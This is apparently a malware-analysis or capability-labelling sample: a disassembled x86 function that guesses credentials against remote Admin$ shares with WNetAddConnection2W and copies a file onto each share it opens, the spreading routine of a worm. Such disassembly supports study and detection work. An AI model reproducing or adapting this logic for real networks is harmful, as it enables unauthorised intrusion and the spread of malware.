Function at 0x4010e0
Capabilities:
Connect network resource
Copy file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x670
xor eax, eax
mov dword [ebp - 0x650], eax
mov dword [ebp - 0x64c], eax
mov dword [ebp - 0x648], eax
mov dword [ebp - 0x644], eax
mov dword [ebp - 0x640], eax
mov dword [ebp - 0x63c], eax
mov dword [ebp - 0x638], eax
mov dword [ebp - 0x634], eax
mov dword [ebp - 0x658], 0
mov byte [ebp - 0x651], 0
mov ecx, dword [ebp + 8]
mov dword [ebp - 0x664], ecx
mov edx, dword [ebp - 0x664]
add edx, 1
mov dword [ebp - 0x668], edx
mov eax, dword [ebp - 0x664]
mov cl, byte [eax]
mov byte [ebp - 0x669], cl
add dword [ebp - 0x664], 1
cmp byte [ebp - 0x669], 0
jne 0x401144
mov edx, dword [ebp - 0x664]
sub edx, dword [ebp - 0x668]
mov dword [ebp - 0x670], edx
mov eax, dword [ebp - 0x670]
add eax, 1
push eax
mov ecx, dword [ebp + 8]
push ecx
lea edx, [ebp - 0x208]
push edx
call sub.MSVCR90.dll_mbstowcs
add esp, 0xc
push 0x104
push 0
lea eax, [ebp - 0x418]
push eax
call section..text
add esp, 0xc
lea ecx, [ebp - 0x208]
push ecx
push str._sAdmin_
lea edx, [ebp - 0x418]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
mov dword [ebp - 0x64c], 1
mov dword [ebp - 0x640], 0
lea eax, [ebp - 0x418]
mov dword [ebp - 0x63c], eax
mov dword [ebp - 0x634], 0
mov dword [ebp - 0x630], 0
mov dword [ebp - 0x41c], 0
jmp 0x401212
mov ecx, dword [ebp - 0x41c]
add ecx, 1
mov dword [ebp - 0x41c], ecx
cmp dword [ebp - 0x41c], 0x10
jae 0x4013ad
mov dword [ebp - 0x62c], 0
jmp 0x40123a
mov edx, dword [ebp - 0x62c]
add edx, 1
mov dword [ebp - 0x62c], edx
cmp dword [ebp - 0x62c], 0x3d0
jae 0x40139a
mov eax, dword [ebp - 0x630]
push eax
mov ecx, dword [ebp - 0x41c]
mov edx, dword [ecx*4 + 0x404028]
push edx
mov eax, dword [ebp - 0x62c]
mov ecx, dword [eax*4 + 0x404038]
push ecx
lea edx, [ebp - 0x650]
push edx
call sub.MPR.dll_WNetAddConnection2W
mov dword [ebp - 0x20c], eax
cmp dword [ebp - 0x20c], 0
jne 0x401395
mov dword [ebp - 0x65c], 0
jmp 0x4012a7
mov eax, dword [ebp - 0x65c]
add eax, 1
mov dword [ebp - 0x65c], eax
cmp dword [ebp - 0x65c], 7
jae 0x40133c
push 0x104
push 0
lea ecx, [ebp - 0x628]
push ecx
call section..text
add esp, 0xc
mov edx, dword [ebp - 0x65c]
mov eax, dword [edx*4 + 0x404408]
push eax
lea ecx, [ebp - 0x418]
push ecx
push str._s_s
lea edx, [ebp - 0x628]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
push 0
lea eax, [ebp - 0x628]
push eax
push 0x404788
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x401337
mov ecx, dword [ebp - 0x62c]
mov edx, dword [ecx*4 + 0x404038]
push edx
mov eax, dword [ebp - 0x41c]
mov ecx, dword [eax*4 + 0x404028]
push ecx
lea edx, [ebp - 0x628]
push edx
call fcn.00401040
add esp, 0xc
jmp 0x401298
mov dword [ebp - 0x660], 0
jmp 0x401357
mov eax, dword [ebp - 0x660]
add eax, 1
mov dword [ebp - 0x660], eax
cmp dword [ebp - 0x660], 0x14
jge 0x40138c
push 0
mov ecx, dword [ebp - 0x63c]
push ecx
call sub.MPR.dll_WNetCancelConnectionW
mov dword [ebp - 0x20c], eax
cmp dword [ebp - 0x20c], 0
jne 0x40137f
jmp 0x40138c
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x401348
mov byte [ebp - 0x651], 1
jmp 0x40139a
jmp 0x40122b
movzx edx, byte [ebp - 0x651]
cmp edx, 1
jne 0x4013a8
jmp 0x4013ad
jmp 0x401203
xor eax, eax
mov esp, ebp
pop ebp
ret